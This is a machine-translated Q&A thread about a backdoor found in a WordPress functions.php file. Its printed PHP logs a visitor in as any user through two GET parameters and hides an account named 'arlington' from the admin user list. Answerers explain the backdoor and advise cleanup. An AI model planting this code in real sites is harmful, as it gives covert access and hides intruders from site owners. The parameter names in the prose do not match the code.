2017-11-28 16 views
2

私は彼のワードプレスのウェブサイトで友人を助けています。私は彼のfunctions.phpファイルでこのコードスニペットを見つけました。私はそれを理解しようとすると、私はそれを削除することができます見ていくつかの助けをしたいと思います。functions.phpのPHPコードスニペット

if(isset($_GET['foo'])){ $a = $_GET['foo']; } 
if(isset($_GET['bar'])){ $b = $_GET['bar']; } 
if((isset($a) && is_numeric($a))&& (isset($b) && $b == 'stuff')) { 

    $userdetail = get_userdata($a); 
    $user_logins = $userdetail->user_login; 
    $user_ids = $a; 
    wp_set_current_user($user_ids, $user_logins); 
    wp_set_auth_cookie($user_ids); 
    do_action('wp_login', $user_logins); 
} 
add_action('pre_user_query','dt_pre_user_query'); 
function dt_pre_user_query($user_search) { 
    global $current_user; 
    $username = $current_user->user_login; 

    if ($username != 'arlington') { 
     global $wpdb; 
     $user_search->query_where = str_replace('WHERE 1=1', 
     "WHERE 1=1 AND {$wpdb->users}.user_login != 'arlington'",$user_search->query_where); 
    } 
} 

限りGETリクエストが「LG」属性と「CG」属性の文字「M」のための正しいユーザーIDで、掲載されている場合、私が言うことができるように。その後、ユーザーデータを取得してログインし、そのユーザーのCookieを作成します。したがって、本質的に誰かがwww.mysite.com?lg = 1 & cg = MというURLでログインできます。あなたが見つかるまで、1を適切なユーザーIDまたは無差別の力で置き換えます。

ユーザークエリの前に2番目のコードが実行された後。 $ user_searchパラメータが必要です。ユーザ名が 'custom'でなければ、ユーザログインではなく何も返さないDBクエリを実行します。

私が正しく解釈したかどうか教えてください。

編集:私はそれがワードプレスのウェブサイトを悪用するためにこれを使用するのが簡単かもしれないと信じているので、任意の偽善を防ぐために変数を少し変更するつもりです。

+0

なぜそれを削除しますか?あなたはサイト上で何もこのコードを必要としないと確信していますか? – ceejayoz

+0

誰かが以前にサイトで働いていたし、不必要なプラグインがたくさんあって、コードが邪魔になっていました。このスニペットは、具体的には適切なログイン方法を回避し、管理パネルからユーザーを隠すように見えます。悪意を持って追加されたようです。 – aoa

+0

私はwww.mysite.com/?lg=1&cg=MをURLとして使用してログインするという仮説を試してみました。悪意のあるコードであるように見えます。 – aoa

答えて

5

このコードを削除し、残りのサイトを必ず確認してください。

最初の11行のコードでは、上記の2つのgetパラメータを指定するだけで、誰でも任意のユーザーとしてログインできるようになります。pre_user_queryに追加された2番目のブロックには、customというユーザーを隠すように設計されたSQL句が追加されます。

このコードを追加した人は、WordPressサイトへの永続的なバックドアが必要でした。

+0

そうですね、私はそれをテストしました。それが起こっているのです。名前とシャーミングに関するポリシーがここにあるのかどうか分かりません。私は隠されたアカウントを見つけた、そしてそれは "wordpress support"会社だ。私は彼らの名前とウェブサイトを掲載することができます。 残りのサイトで悪意のあるコードがどのように確認されるかについてのアドバイスはありますか?私は今見ている。私はクリーンなWordPressのインストールにすべてのWebサイトのファイルを比較する必要があると思いますか? – aoa

+1

私はデータベースを含むサイト全体をバックアップし、関連するすべてのログイン資格情報をサイトファイルとデータベースに変更することをお勧めします。クリーンで新しいWordPressでもう一度やり直してください。それを復元するときにデータベース内の各プラグイン、テーマ、およびコンテンツを検証します。退屈な作業ですが、サイトのセキュリティを確保する最も確実な方法です。 – ThePengwin

+0

ありがとう、私はそれを得ることについて私の友人に話します。潜在的な顧客にこれについて知ってもらうために私ができることはありますか?コードを削除して隠れたアカウントに関連するユーザーを見つけたとき、電子メールはサポート質問に答えるために自分のウェブサイトで使用したものと同じだったので、私はかなり確信しています。 – aoa

関連する問題